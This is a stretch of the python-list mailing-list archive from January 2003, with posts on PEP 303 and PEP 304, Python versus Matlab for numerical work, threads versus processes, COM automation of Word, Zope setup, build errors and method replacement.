In <fuk70b.il3.ln at beastie.ix.netcom.com> Dennis Lee Bieber  wrote:
> Arne Koewing fed this fish to the penguins on Thursday 16 January 2003 
> 01:03 pm:
> 
>> 
>> why not extending the def statement?
>> 
>> class bar(object):
>>     def foo(class,arg1) is classmethod:
>>         pass
>>     def bar(arg1) is staticmethod:
>> pass
> 
>         I think I'd prefer just modifying the def keyword...
> 
>         defclass ...
>         defstatic ...
> 
> with plain def retaining the effect it has at present.
> 
>         "is" already has meaning in the language when doing compares -- 
> I'd  rather not overload it as a noise verb "def ... [is] classmethod:
> "  wouldn't change if one left out the "is".
>
-- 
Kevin Smith
Kevin.Smith at sas.com



From cuniREMOVE_THIS at programmazione.it  Wed Jan  8 11:22:37 2003
From: cuniREMOVE_THIS at programmazione.it (Antonio Cuni)
Date: Wed, 08 Jan 2003 16:22:37 +0000
Subject: new years resolutions
References: <mailman.1041550805.3550.python-list@python.org> <1041705923.6001.32.camel@x1-6-00-04-5a-64-c4-03> <200301041905.h04J5njL016319@ratthing-b246.strakt.com> <mailman.1041710048.20334.python-list@python.org> <avahot$1ji$1@nyheter.chalmers.se> <3ehj1vo4un9m8vvtc51iac1j46btlih4cv@4ax.com>
Message-ID: <d8jhva.534.ln@anto.cuni.lan>

EpSyLOn wrote:

> The world is divided into 10 kinds of people : those who understand
> binary and those who don't. ;-)

no, I think the world is divided in 11 kinds of people:
- those who understand binary
- those who don't
- those asking which are the remaining 9 kinds...

ciao Ano
-- 
"Computer science is not about computers any more than astronomy
is about telescopes." -- EW Dijkstra



From anton at vredegoor.doge.nl  Wed Jan  1 20:22:51 2003
From: anton at vredegoor.doge.nl (Anton Vredegoor)
Date: Thu, 02 Jan 2003 02:22:51 +0100
Subject: PEP 303: Extend divmod() for Multiple Divisors
References: <ausiq8$egi$1@news.island.liu.se>
Message-ID: <av04dl$gak$1@news.hccnet.nl>

On Tue, 31 Dec 2002 17:06:16 +0000 (UTC), Thomas Bellman
<bellman+pep-divmod at lysator.liu.se> wrote:

>    A Python implementation of the new divmod() behaviour could look
>    like:
>
>        def divmod(dividend, *divisors):
>            modulos = ()
>            q = dividend
>            while divisors:
>                q,r = q.__divmod__(divisors[-1])
>                modulos = (r,) + modulos
>                divisors = divisors[:-1]
>            return (q,) + modulos
>

This would make a short permutation algorithm possible. Very
seductive. Maybe it's too good and we shouldn't do it? :-)

I have experimented with divmod too, and turned it into a kind of
generalized threshold index finder.

The divisors argument would become a function that would generate a
sequence. Divmod would return the index of the element just before the
element that is bigger than dividend, and the difference between this
element and dividend.

If the sequence would consist of a list of numbers that increases by a
constant amount, the original divmod would be mimicked.

I think that what is proposed in PEP 303 has the merit of being very
useful at a short term. In the long term it might become a hindrance
to other interpretations of what a divmod really should be. It seems
not to preclude the generalization described above because the ideas
are orthogonal. I am in favor of this PEP.

+1

Regards,
		Anton.

Here's the short permutation algorithm for PEP 303:

def perm(i,s):
    L = list(s)
    return "".join([L.pop(x) for x in\
        divmod(i,*range(len(L)-1,0,-1))])
    
def test():
    for i in range(24):
         print perm (i,"abcd")

if __name__=='__main__':
    test()




From mwm at mired.org  Tue Jan 14 10:45:51 2003
From: mwm at mired.org (Mike Meyer)
Date: Tue, 14 Jan 2003 15:45:51 GMT
Subject: OT: X#, a new Msft functional language similar to Lisp; Python prominently mentioned
References: <3E2364CC.7060604@earthlink.net>
Message-ID: <x7smvvrayv.fsf@guru.mired.org>

Ron Stephens <rdsteph at earthlink.net> writes:

> The author of this new online article, one Sean McGraff,  posits that
> most programming paradigms are either a)object oriented, like Java,
> Python, and C++ or b) use tabular data structures, such as relational
> data bases. He further posits that XML does not fit neatly into either
> object oriented nor tabular paradigms, but does fit neatly into a
> functional programming style that treats data and code as one and the
> same thing, like Lisp.

Aaiiee! I just flashed on programming in XML. I've done it. I still
have nightmares about it, but I'm getting better.

> Does anyone think the ideas expressed in this article about XML being
> easier to process in a functional programming style, are either
> accurate or stupid?

The authors of DSSSL thought the functional paradigm fit SGML well
enough to base DSSSL on Scheme. XML - aka "SGML for dummies" -
certainly has enough of the same properties that their logic applies.

> Could Python's functional programming style be a good fit for XML
> data? Could Python be extended to enhance such capabilities, if those
> capabilities have any validity?

Extending python to enhance those capabilities is a SMOP. However,
you're not likely to get the community to accept the changes to add
macros to the language. Tail recursion folding might go in, but most
people seem to think it's not worth the effort.


-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From mail-jb at gmx.net  Fri Jan  3 06:38:18 2003
From: mail-jb at gmx.net (=?ISO-8859-1?Q?J=F6rg?=)
Date: Fri, 03 Jan 2003 12:38:18 +0100
Subject: COM Problem
Message-ID: <3E15762A.8050906@gmx.net>

I want to call a function of a COM object.
The object does not know its own function, so I have to use InvokeTypes.
It returns always integer to my parameters and its seem to run o.k. but 
what does it mean?
Wants wrong?
Or can you show me another way to handle COM objects.

Bye




From sjmachin at lexicon.net  Fri Jan 17 18:43:47 2003
From: sjmachin at lexicon.net (John Machin)
Date: 17 Jan 2003 15:43:47 -0800
Subject: python and trigram ???
References: <199f365a.0301170801.7cb44da0@posting.google.com>
Message-ID: <c76ff6fc.0301171543.58779302@posting.google.com>

yanarkana at yahoo.fr (Arkana) wrote in message news:<199f365a.0301170801.7cb44da0 at posting.google.com>...
 
> does anyone here know what are trigram ?

Yes; while trigrams are evidently of sublime relevance to martial
artists of the Baguazhang (eight-trigrams palm) school (see below), I
guess you are probably more interested in length-3 substrings of a
string, used in indexing and approximate matching ...

I presume that you *don't* mean ANSI C's "trigraph sequences" [bletch]
...

> and if there is any project
> or stuff in python using them ?

You will find lots of stuff if you google(trigram python), most of it
more relevant than this extract from
 http://www.cs-online.com.cn/enews/wushu/grand/7424.shtm

Tian has undertaken to write a book entitled "Yin-Yang Baguazhang."
[...]according to ancient Chinese philosophy underlying the theory of
eight trigrams. The book will be published in eight volumes named
after eight animals in association with their typical movements - the
python crawling through a bush, [...]

> or where i can learn more on this
> subject ?

Google. Note that trigrams are merely a special case of n-grams (n ==
3) and much of the literature just talks about n-grams or N-grams or
ngrams. You'll need to google with ngram and ngrams and "n-gram" and
"n-grams" separately.

Here's what promises to be a good starting point (found via "n-gram"):
http://web.umr.edu/~tauritzd/ngram/index.html

Please in future do web searches *before* you ask questions. Otherwise
people may give no answer, or a short literal logical but sarcastic &
useless answer -- (Q: does anyone here know X and Y or Z? A: Yes)

Hope this helps,
John



From andy_todd at yahoo.com  Fri Jan 31 08:34:23 2003
From: andy_todd at yahoo.com (Andy Todd)
Date: 31 Jan 2003 05:34:23 -0800
Subject: Joining strings versus augmented assignment
Message-ID: <8f2c2d6b.0301310534.426f1f64@posting.google.com>

In his Linux Journal piece on Quixote
(http://www.linuxjournal.com/article.php?sid=6178) Greg Ward mentions
that when joining a series of strings together it is more efficient to
use "".join(listOfStrings) rather than += (augmented assignment).

I couldn't find any obvious references to this in the documentation or
in this group.

Would anyone care to explain why this is so to a poor ignoramous?

Thanks in advance,
Andy



From gerrit at nl.linux.org  Fri Jan 24 03:56:37 2003
From: gerrit at nl.linux.org (Gerrit Holl)
Date: Fri, 24 Jan 2003 09:56:37 +0100
Subject: How to send output to file
In-Reply-To: <3E2DACA7.10212.162EFB1E@localhost>
References: <3E2D17B1.3400.13E9049E@localhost> <3E2DACA7.10212.162EFB1E@localhost>
Message-ID: <20030124085637.GA2982@nl.linux.org>

A schreef op dinsdag 21 januari om 20:27:56 +0000:
> Dear Gerrit,
> Thank you for your email.
> Now I already know how I can assing the output to a file.
> Is there a possibility  to assign the output back to standard as it was before I assigned to a 
> file?

You can use sys.__stdout__ for that: sys.stdout = sys.__stdout__

yours,
Gerrit.

-- 
Asperger Syndroom - een persoonlijke benadering:
	http://people.nl.linux.org/~gerrit/
Het zijn tijden om je zelf met politiek te bemoeien:
	http://www.sp.nl/




From Mongryong at sympatico.ca  Sun Jan 26 12:03:59 2003
From: Mongryong at sympatico.ca (Mongryong)
Date: 26 Jan 2003 12:03:59 -0500
Subject: design advice sought
In-Reply-To: <4sLY9.17$K84.1793197@newssvr15.news.prodigy.com>
References: <4sLY9.17$K84.1793197@newssvr15.news.prodigy.com>
Message-ID: <1043600639.1384.65.camel@refugeeMedia>

In most cases, using processes instead of threads is a better solution. 
Yes, there's less overhead in thread context-switching then there is in
process context-switching but that doesn't mean that overall performance
of your "system" will be faster.  

The right solution is usually a factor of the amount of cohesion and
information hiding between your code.

You should consider processes when:
1) For functionality that has a high period.  That is, the functionality
is only needed once every hour or day.  This is typically of things an
os scheduler would run.

2) For functionality that only occurs once like at startup and cleanup.

3) For monitoring transducers (input and output signals).  For example,
in Windows, Windows watches for mouse and keyboard events.  If an event
is targeted for your process, Windows will send the event to your
message queue.  Here Windows is another process separate from your
process.  Another example is reading/writing from your hard-drive. While
the hard-drive performs the read/write the OS switches to another
application (process).

4) For functionality that is CPU intensive.  For example, a MP3
renderer.  Once the MP3 renderer has its parameters, it usually doesn't
depend on anything else to finish its job.

The main theme here with processes is "high information hiding, and low
cohesion."  

You should consider threads basically when there's "low information
hiding and high cohesion."  That is, your "processes" share a lot of
resources that can not be easily centralized and the interfaces between
your "proesses" is very complex.

Besides that, threads are much harder to develop and test because of the
dependencies that exist between them.  

This description is very brief, but hopefully it's enough to get you to
do some more research.

On Sun, 2003-01-26 at 01:43, Byron Morgan wrote:
> My project:
> 
> An existing server taps the logged output of a real-time control system,
> making the data available via inet.
> Platform is Python 2.2.2 on W2k.
> 
> My application (my first effort in Python) monitors the data stream,
> watching for critical events as well as maintaining status information on
> roughly 100 control subsystems. I have reached the point where it does this
> much pretty well, running all day. Next, I will add functions to send
> messages via various transports (e.g., pager, cellular text, instant
> mesaging) based on conditions and trends detected or analyzed.
> 
> I am seeking input on whether I should build all into a single app, which
> may necessitate the use of threading, or use one or more companion apps to
> handle the notification stuff. If separate applications are used, how best
> to communicate (I assume sockets will do, but have no experience with this,
> or with threads).
> 
> TIA,
> 
> Byron Morgan
> 
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list






From a.schmolck at gmx.net  Thu Jan 23 10:43:27 2003
From: a.schmolck at gmx.net (Alexander Schmolck)
Date: 23 Jan 2003 15:43:27 +0000
Subject: Python vs. Matlab
References: <mailman.1043278960.29140.python-list@python.org>
Message-ID: <yfssmvj27og.fsf@black132.ex.ac.uk>

Mongryong <Mongryong at sympatico.ca> writes:

> Python vs Matlab (or any other similar language).
> 
> Any opinions on this comparison?  Benchmarks? Functionality?
> 

Matlab
------

+ very good plotting
+ the "standard" in many fields that do extensive number crunching. Free code
  published by scientists in several areas (e.g. pattern recognition) is
  likely to be matlab and there is lots of it.
+ relating to the above point: large codebase (both free and commercial) and
  large supply of builtin functionality (Numeric and Scipy cover quite a lot,
  too, but not as much yet).
+ stable and mature. More so than either Scipy (currently v0.10, I think) and
  Numeric (currently not properly maintained and about to be superseded by
  numarray; I hasn't to say that Numeric isn't dead or abandonned, but as
  numarray was supposed to take over sooner than now seems likely, there are
  currently inadequate ressources for its maintenance).
+ convinient notation for linear algebra (M * N' == matrixmultiply M and the
  transpose of N)
+ nice output formatting for matrices (much more convienient than that for
  Numeric arrays, if you are using them for matrices)
+ pretty good "IDE"
- relatively unpleasant and crummy language
- few non-numbercrunching libraries and facilities
- therefore often a bad choice if you need to do things other than linear
  algebra, even if you also need to do plenty of number crunching.
- braindead C-interface
- proprietary and expensive

Python
------

+ well designed language
+ loads of free general purpose programming libraries
+ Numeric and Scipy deliver pretty good (however more array than matrix
  oriented) Numerics packages and many people are using them intensively for
  all their work. Although matlab is still more popular, python is rapidly
  gaining ground in the scientific community and in many aspects the design of
  Numeric and Scipy is IMO superior to matlab's.
+ free in every sense of the word
+ rapidly gaining popularity as an alternative to matlab
+ reasonable C-interface as well as many projects that aim at painlessly
  interleaving C or C++ code (e.g. weave) in python code or other ways of
  boosting performance (psyco). My guess therfore is that it is easier to get
  code to run faster if you must in python than in matlab, but I have no
  benchmarks to back this up.
- no decent plotting right now (but chaco looks promising)
- awkward notation for many important matrix manipulations (partly due to a
  lack of available operators in the language)
- not as many number crunching and scientific libraries and code available as
  for matlab

R and Octave
------------

- I don't know much about those, so I take this with a grain of salt: Neither
  appears a good choice to me compared to either matlab or python, because
  they both suffer from their special purpose nature (unlike python), but
  don't offer as rich a functionality as matlab and are not (I think) anywhere
  near as popular as either matlab or python, even for scientifc computing. I
  might be wrong, so best have a look yourself.
  
In summary, although matlab still seems to be the more popular number
crunching choice right now, for people who can afford it, my guess would be
that python's popularity for such purposes will increase considerably over the
next couple of years, especially as it doesn't suffer from matlab's inherent
design flaws that limit its further growth.

My solution for the moment is to use both: I wrote a transparent wrapper for
from python to matlab that lets you use matlab's functions as if they were
just another python library (taking care of most of the conversions and
intricacies behind the scenes). This allows me to quickly leverage and
evaluate existing matlab code while working within python (and it is easy to
replace those bits with python code later). I also wrote a general plotting
wrapper on top of that that is designed to use different backends, so that
once chaco is ready I could in principle just change the backend without
rewriting any of the code that uses plotting functionality (well, in theory at
least:). Since I mainly deal with matrices I also wrote a library to make
their use more convinient than Numeric arrays (or Numeric's Matrix).

All this code is free, but I haven't yet got around to publish it, but am
willing to supply it as preview version (just email me).

alex




From tjreedy at udel.edu  Mon Jan 27 23:20:28 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Mon, 27 Jan 2003 23:20:28 -0500
Subject: PEP 304 - Controlling generation of bytecode files
References: <mailman.1043707550.22103.python-list@python.org>
Message-ID: <8PmcnYSYyZgOm6ujXTWcqg@comcast.com>

> Your feedback is solicited on PEP 304, "Controlling generation of
bytecode

1. I understand the 'python' prefix for the environmental variable
(PYTHONBYTECODEBASE) but it seems unnecessary and overdone for the sys
attribute.  sys.bytecodebase is enough to write already and is quite
sufficient for identifying the contents.

2. I am not familiar with all the os.path funcs.  If pcb is C:/tem/py
and I import sys, for instance, would it write C:/tem/py/sys.pyc or
C:/tem/py/..../.../sys.pyc?  One actual example would be helpful.

3. This proposal changes behavior globally but does not address the
issue of doing so on a per file basis.

3a.  One possibility is to change sys.bytecodebase before and after an
import.  This could be wrapped in a function.  But this requires the
code to be knowledgable about which files it can and cannot write on a
particular system.

3b. A suggestion I sent to pydev (not sure if it arrived) would be
another .pyx extension such as .pyf for
py-final, meaning "this python code is the last (and only) version we
want to see on the file system -- do not write anything else -- .pyc,
.pyo, or any future version of processed code".

Terry J. Reedy








From peter at engcorp.com  Fri Jan 24 17:11:06 2003
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 24 Jan 2003 17:11:06 -0500
Subject: ctypes news
References: <65sepejc.fsf@python.net>
Message-ID: <3E31B9FA.8E33EC45@engcorp.com>

Thomas Heller wrote:
> 
> There's a *ctypes-users* mailing list now, although I'm currently the
> only subscriber ;-).  I'm not sure it will be useful, I created it
> just in case.
> 
> The list-info page is at
>   http://lists.sourceforge.net/lists/listinfo/ctypes-users
> 
> Here you can subscribe, unsubscribe, change your options,
> and view the list archive.

Not sure if it's just me, but using Netscape 4.77 under Windows
I cannot submit the subsription form, nor change the radio button
that selects whether to get digest mails or not.  Perhaps a bug
in the latest Mailman?  Or bad settings on my end?

Using IE 6.0 works just fine.  FYI...

-Peter



From phil at river-bank.demon.co.uk  Sun Jan 26 05:16:32 2003
From: phil at river-bank.demon.co.uk (Phil Thompson)
Date: Sun, 26 Jan 2003 10:16:32 +0000
Subject: Sticky Notes, which GUI toolkit supports...
In-Reply-To: <6e07b825.0301260043.18231335@posting.google.com>
References: <6e07b825.0301260043.18231335@posting.google.com>
Message-ID: <200301261016.32417.phil@river-bank.demon.co.uk>

On Sunday 26 January 2003 8:43 am, yaipa h. wrote:
> All,
>
> I would like to write a Sticky note application. So my question is
> which GUI toolkit, if any, supports the notion of an object being
> always on top.
>
> One material note is that the toolkit must support Solaris as well as
> Linux and u$oft platforms.

PyQt...

Qt::WStyle_StaysOnTop - informs the window system that the window should stay 
on top of all other windows.

Phil




From pyth at devel.trillke.net  Wed Jan  8 10:00:31 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Wed, 8 Jan 2003 16:00:31 +0100
Subject: no side effects
In-Reply-To: <avhbmr$7ib$06$1@news.t-online.com>; from martin@v.loewis.de on Wed, Jan 08, 2003 at 03:13:48PM +0100
References: <2259b0e2.0301080510.3b2e5d4f@posting.google.com> <mailman.1042033754.17715.python-list@python.org> <avhbmr$7ib$06$1@news.t-online.com>
Message-ID: <20030108160031.C349@prim.han.de>

"Martin v. L?wis" wrote:
> holger krekel wrote:
> >     for i in [1,2,3]:
> >         print i
> >         i=3
> > 
> > the for-loop will iteratively bind the (local) name to  
> > 1, then 2, then 3.  It never looks at the binding of
> > the name 'i'.  With 'i=3' you only change the binding
> > of 'i' to the object '3' but the for-loop will blindly
> > change the binding again. 
> 
> This has nothing to do with namespaces: i is not local to the for loop, 
> but might be global, or local to the function.

'i' might not be local but usually it is.  When answering 
newcomer questions i try to refrain from talking in language
lawyer details (as much as possible).  I only tried to explain the 
for-loop from the viewpoint of names bound to objects.  I didn't 
want to compare iteration protocols between python and C++ just 
to explain that. 

    holger




From oren-py-l at hishome.net  Wed Jan 29 14:10:40 2003
From: oren-py-l at hishome.net (Oren Tirosh)
Date: Wed, 29 Jan 2003 14:10:40 -0500
Subject: PEP 304 - Controlling generation of bytecode files
In-Reply-To: <15928.8849.345819.461301@montanaro.dyndns.org>
References: <mailman.1043707550.22103.python-list@python.org> <8PmcnYSYyZgOm6ujXTWcqg@comcast.com> <15928.8849.345819.461301@montanaro.dyndns.org>
Message-ID: <20030129191040.GA1785@hishome.net>

On Wed, Jan 29, 2003 at 12:50:57PM -0600, Skip Montanaro wrote:
> 
>     Terry> 3. This proposal changes behavior globally but does not address
>     Terry>    the issue of doing so on a per file basis.
> 
> That's not the intent of this PEP.  It's hard for me to think of a use case
> for module-by-module control over where to write .pyc files.  Can you
> suggest one?

I don't know about module-by-module but would sure be useful on an
importer-by-importer basis when this is combined with the import hooks 
PEP. I guess this PEP needs to pay no special attention to this case
except perhaps mentioning the obvious fact that bytecodepath only affects 
the standard importer.

	Oren




From gerhard.haering at opus-gmbh.net  Thu Jan 30 08:56:40 2003
From: gerhard.haering at opus-gmbh.net (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: 30 Jan 2003 13:56:40 GMT
Subject: migc.pyd please help me!
References: <d2810a8.0301290215.68c39ee3@posting.google.com> <slrnb3fusl.1d4.gerhard.haering@haering.opus-gmbh.net> <d2810a8.0301300436.21a903d3@posting.google.com>
Message-ID: <slrnb3iblp.1i0.gerhard.haering@haering.opus-gmbh.net>

nightdriver <nightdriver at bolt.com> wrote:
> Gerhard MUCHO THANKS !
> 
> It works great ! My objective was to run svg2swf.py and it works.

I'm glad it worked for you.

>> Anyways, in exchange, could you polish this setup.py a little (add
>> copyright, author, author_email and so on fields) and send a patch to
>> the ming maintainer?
> 
> did'nt think it is better to send to mantainer the mingc.pyd ??

What you want is the build process for the Python wrapper to be more
accessible, right? To achieve this you'll have to send in the setup.py.

Binaries may be convenient, but they suffer bitrot - I believe the Makefile
still assumed Python 1.5.2. With a setup.py, anybody with a supported C
compiler an build the ming library. Not only will this make the build
process on Windows easier, but also on Unixen where you currently need to
hack the Makefile as well. Plus, a source patch will create a new version
of ming when one comes out and will still work with Python 2.3. And Python
1.5 to 2.2, for that matter ;-)

Of course you can send the maintainer the distutils generated installer
(python setup.py bdist_wininst) to put on her web page as well. Or you can
simply put it on *your* homepage :-)
-- 
Gerhard H?ring
OPUS GmbH M?nchen
Tel.: +49 89 - 889 49 7 - 32
http://www.opus-gmbh.net/



From peter at engcorp.com  Tue Jan 21 09:08:06 2003
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 21 Jan 2003 09:08:06 -0500
Subject: Mutual information ?
References: <199f365a.0301210114.55b6fa54@posting.google.com>
Message-ID: <3E2D5446.ED54A4CF@engcorp.com>

Arkana wrote:
> 
> i'm looking for python modules which could facilitate computation of
> "mutual information" ? does anyone know projects in python
> involving/using MI ? is there a starting point for such related topics
> ?

Google might be your friend here.

Try searching with ("mutual information" python) including the quotation
marks but not the parentheses.

Let us know what you find.  Better yet, let us know what the heck 
"mutual information" actually is!  ;-)

-Peter



From mhammond at skippinet.com.au  Tue Jan 21 23:52:26 2003
From: mhammond at skippinet.com.au (Mark Hammond)
Date: Wed, 22 Jan 2003 04:52:26 GMT
Subject: [win32] Busy-loop in win32\Demos\dde\ddeserver.py
In-Reply-To: <mailman.1043155478.2927.python-list@python.org>
References: <mailman.1043155478.2927.python-list@python.org>
Message-ID: <espX9.15384$m47.50339@news-server.bigpond.net.au>

Peter ?strand wrote:
> I need to use DDE as a IPC mechanism, and looked at the examples 
> ddeclient.py and ddeserver.py. I've noticed that when running 
> ddeserver.py, this process uses 99% CPU; goes into a tight loop round:
> 
> while 1:
> 	win32ui.PumpWaitingMessages(0, -1)
> 
> Is this really intended? How can I make the thread sleep until any new 
> event is recieved, can I use win32event.MsgWaitForMultipleObjects?

Sure - why not.  Let me know if it works <wink>.

> I also wonder if/how it's possible to combine a DDE server and client into 
> one single application. 

No idea :(

Mark.




From bokr at oz.net  Thu Jan 16 07:58:12 2003
From: bokr at oz.net (Bengt Richter)
Date: 16 Jan 2003 12:58:12 GMT
Subject: Copyright on the Python and Python-console icons?
References: <mailman.1042675649.4334.python-list@python.org>
Message-ID: <b06a94$70s$0@216.39.172.122>

On Wed, 15 Jan 2003 19:05:31 -0500, Tim Peters <tim.one at comcast.net> wrote:

>>> figure-the-odds-ly y'rs  - tim
>
>[Bengt Richter]
>> Part of figuring would be trusting the current crew, a no-brainer.
>
>Thanks -- this is the kind of blind trust we're counting on <wink>.
>
>> Next I would wonder if the PSF is an entity whose assets
>> can be transferred by sale or bankruptcy proceedings etc.
>> Is there a poison-pill for any would-be asset-seizer?
>
>A huge one:  the PSF has applied for "public charity" status under the US
>Internal Revenue Service Code section 501(c)(3).  If such recognition is
>granted (and until that's resolved, we-- and potential raiders --have to act
>as if it has been granted), then, generally speaking, the assets of the PSF
>beyond its legitimate business debts can be distributed only to another
>public charity, or to a government.  This gives public charities in the US
>strong protection against "nuisance suits" -- unless you're a public charity
>too, you can't get anything out of it beyond legitimate damages.  Public
>charities hold assets "in the public interest", and the public-interest
>purpose is primary, surviving the death of the public charity that held
>them.
>
>> E.g., that might automatically convert to public domain,
>
>Whether any entity in the US apart from the government can meaningfully put
>something in the public domain appears to have the legal answer "no",
>according to one US lawyer who researched the issue.  Businesses and
>individuals supposedly can't disclaim copyright (the meaning of "public
>domain" -- nobody holds copyright) even if they want to.
>
I must confess to some confusion squaring this with the advice in PEP 001:
( http://www.python.org/peps/pep-0001.html )

"""
    3. Copyright/public domain -- Each PEP must either be explicitly
          labelled as placed in the public domain (see this PEP as an
          example) or licensed under the Open Publication License[4].
"""

and the notice at the bottom of PEP 001:

"""
Copyright

       This document has been placed in the public domain.
"""

Is the issue that "placing something in the public domain" should not
include a recursive deletion of the right to do so ;-)

If so, couldn't that be taken care of by defining the transfer of rights
to the public to be atomic with an independently surviving effect ;-)

Regards,
Bengt Richter



From anthony.evershed at npl.co.uk  Wed Jan 15 04:47:34 2003
From: anthony.evershed at npl.co.uk (Anthony Evershed)
Date: 15 Jan 2003 01:47:34 -0800
Subject: Python and Word
Message-ID: <2eb85cfb.0301150147.134c34a3@posting.google.com>

I'm trying to get Python 2.2.2 with Win32all extensions to use Word
2000's alignment tool when pushing data in. I have found the win32com
command:

wd.Selection.Paragraphs.Alignment(?)

(where wd = win32com.client.Dispatch('word.application')

But am stuck as to the argument to use for left align and centering.
PythonWin suggested an integer, but tests in interactive mode produced
only errors as below:

>>> wd.Selection.Paragraphs.Alignment(1)
Traceback (most recent call last):
  File "<interactive input>", line 1, in ?
TypeError: 'int' object is not callable

Can anyone help?

Anthony Evershed



From nospam at bigfoot.com  Tue Jan 14 18:16:39 2003
From: nospam at bigfoot.com (Gillou)
Date: Wed, 15 Jan 2003 00:16:39 +0100
Subject: Zope on Port 80
References: <a8baab8f.0301141418.f54cfe2@posting.google.com>
Message-ID: <b024um$2qiq$1@norfair.nerim.net>

"Elias Ponvert" <efp at uts.cc.utexas.edu> a ?crit dans le message de news:
a8baab8f.0301141418.f54cfe2 at posting.google.com...
> Apologies if this is a FAQ, I've not seen it anywhere.
>
> Is there any reason _not_ to run Zope on port 80 of, say,
> mymachine.foo.com? Assume that I'm OK with mymachine only running
> Zope. Are there other reasons? Security? Caching?
>
> Yours, with thanks, Newbie Elias

If your Web applications in your server are 100% zope, you can run Zope on
port 80 (start Zope as root)

$ python z2.py -h | less

...will give you the directions to do this.

--Gilles






From max at alcyone.com  Sun Jan 12 20:20:19 2003
From: max at alcyone.com (Erik Max Francis)
Date: Sun, 12 Jan 2003 17:20:19 -0800
Subject: Is it advisable to replace 'self' with '_' or 'I' or something 
 shorter?
References: <f57664b9.0301110959.5b1439da@posting.google.com> <uhecdj36t.fsf@dfan.org>
Message-ID: <3E221453.AB1B98DD@alcyone.com>

Dan Schmidt wrote:

> I used to use _, but I decided to be a good citizen and use self these
> days.  My main problem with self is not that it takes more time to
> type but that it looks like just another word when I'm scanning code,
> which distracts me from the 'real' variables.  So I modifed my emacs
> python-mode so that self is displayed in a different color, and I can
> deal with it a lot better now.

Try getting the latest version of python-mode.el.  It already highlights
`self' in this way.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Love is like war:  easy to begin but very hard to stop.
\__/ H.L. Mencken
    Church / http://www.alcyone.com/pyos/church/
 A lambda calculus explorer in Python.



From nospam at miltonstreet.com  Sat Jan 11 11:58:06 2003
From: nospam at miltonstreet.com (Sam Carleton)
Date: 11 Jan 2003 08:58:06 -0800
Subject: 4 tests failed: test_socket test_sunaudiodev test_sundry test_urllib2
References: <52373b4f.0301102221.37091303@posting.google.com> <mailman.1042269140.19918.python-list@python.org>
Message-ID: <52373b4f.0301110858.25522bb8@posting.google.com>

Laura Creighton <lac at strakt.com> wrote in message news:<mailman.1042269140.19918.python-list at python.org>...
> Looks like you have permission problems too.
> http://mail.python.org/pipermail/python-list/2003-January/138751.html
 
Laura,

I looked at the link, the problem is that I have not installed any
version of Python yet.  There is no /usr/local/lib/python2.1 yet.  I
am hoping that it will never appear, I am trying to install 2.2.2
<grin>

But I did run the tests again as root and one test passed:

# ./python ./Lib/test/test_socket.py
Traceback (most recent call last):
  File "./Lib/test/test_socket.py", line 12, in ?
    import socket
  File "/export/home/sam/src/Python-2.2.2/Lib/socket.py", line 41, in
?
    from _socket import *
ImportError: No module named _socket

# ./python ./Lib/test/test_sunaudiodev.py

# ./python ./Lib/test/test_sundry.py
Traceback (most recent call last):
  File "./Lib/test/test_sundry.py", line 8, in ?
    import BaseHTTPServer
  File "/export/home/sam/src/Python-2.2.2/Lib/BaseHTTPServer.py", line
70, in ?
    import socket # For gethostbyaddr()
  File "/export/home/sam/src/Python-2.2.2/Lib/socket.py", line 41, in
?
    from _socket import *
ImportError: No module named _socket

# ./python ./Lib/test/test_urllib2.py
Traceback (most recent call last):
  File "./Lib/test/test_urllib2.py", line 2, in ?
    import urllib2
  File "/export/home/sam/src/Python-2.2.2/Lib/urllib2.py", line 90, in
?
    import socket
  File "/export/home/sam/src/Python-2.2.2/Lib/socket.py", line 41, in
?
    from _socket import *
ImportError: No module named _socket

I do see that it keeps claming that there is no module named _socket. 
After doing a find in the root directory where I am compiling the
code, there is this file:

Python-2.2.2/PCbuild/_socket.dsp

Sam



From aleax at aleax.it  Mon Jan 27 02:03:02 2003
From: aleax at aleax.it (Alex Martelli)
Date: Mon, 27 Jan 2003 07:03:02 GMT
Subject: Replacing methods without subclassing
References: <NNEY9.47306$F63.1019882@news.xtra.co.nz> <l_FY9.1186$Gj3.39@nwrddc02.gnilink.net> <2_MY9.47989$F63.1032275@news.xtra.co.nz> <d111eafa.0301262119.616e8a93@posting.google.com>
Message-ID: <GQ4Z9.118852$AA2.5073077@news2.tin.it>

xtian wrote:
> Aum <spam-me at no-thanks.com> wrote in message
   ...
>> def setevhandler(self, func):
>>         """
>>         Assigns a new event handler function to the class (or subclass)
>>         instance. This provides an alternative to subclassing.
>>         """
>>         cls = self.__class__
>>         if type(func) is not types.FunctionType:
>>                 raise MyNotFunctionError
>>         self.handleevent = new.instancemethod(func, self, cls)
> 
> That is simpler, but type-checking (the "if type(func)" line) is
> almost always a bad idea, preventing potentially useful polymorphism.

True!  However, in my opinion, in this case "the rot goes deeper"...


>  def setevhandler(self, func):
>          """
>          Assigns a new event handler function to the class (or
> subclass)
>          instance. This provides an alternative to subclassing.
>          """
>          cls = self.__class__
>          if not callable(func):
>                  raise CallableRequiredError
>          self.handleevent = new.instancemethod(func, self, cls)

This uses the same (generally inferior) coding pattern, known
as "look before you leap".  You check that func is callable,
then, if it is, call another function which ALSO (necessarily!)
checks the very same thing.  More often than not it's better
to rely on the checks that are ALREADY done, and which result
in exceptions being raised for inacceptable values.  This is
known as the "easier to get forgiveness than permission" coding
pattern.  You could code this functionality as:

def setevhandler(self, func):
    cls = self.__class__
    try: self.handleevent = new.instancemethod(func, self, cls)
    except TypeError: raise CallableRequiredError

Actually, I would normally not bother with the try/except and
raise here -- just propagate the TypeError upwards, it's simpler
and normally provides the functionality you need -- but I'm
leaving the code as is to show how easy it is to change the
exception if that is what you want.


Alex




From kowk at earthlink.net  Mon Jan 13 06:21:44 2003
From: kowk at earthlink.net (Kow K)
Date: Mon, 13 Jan 2003 03:21:44 -0800
Subject: Seeking Minimal Python Project Name
Message-ID: <32A390F8-26E9-11D7-B694-00050287C0A6@earthlink.net>

Totally whimsical word plays ...

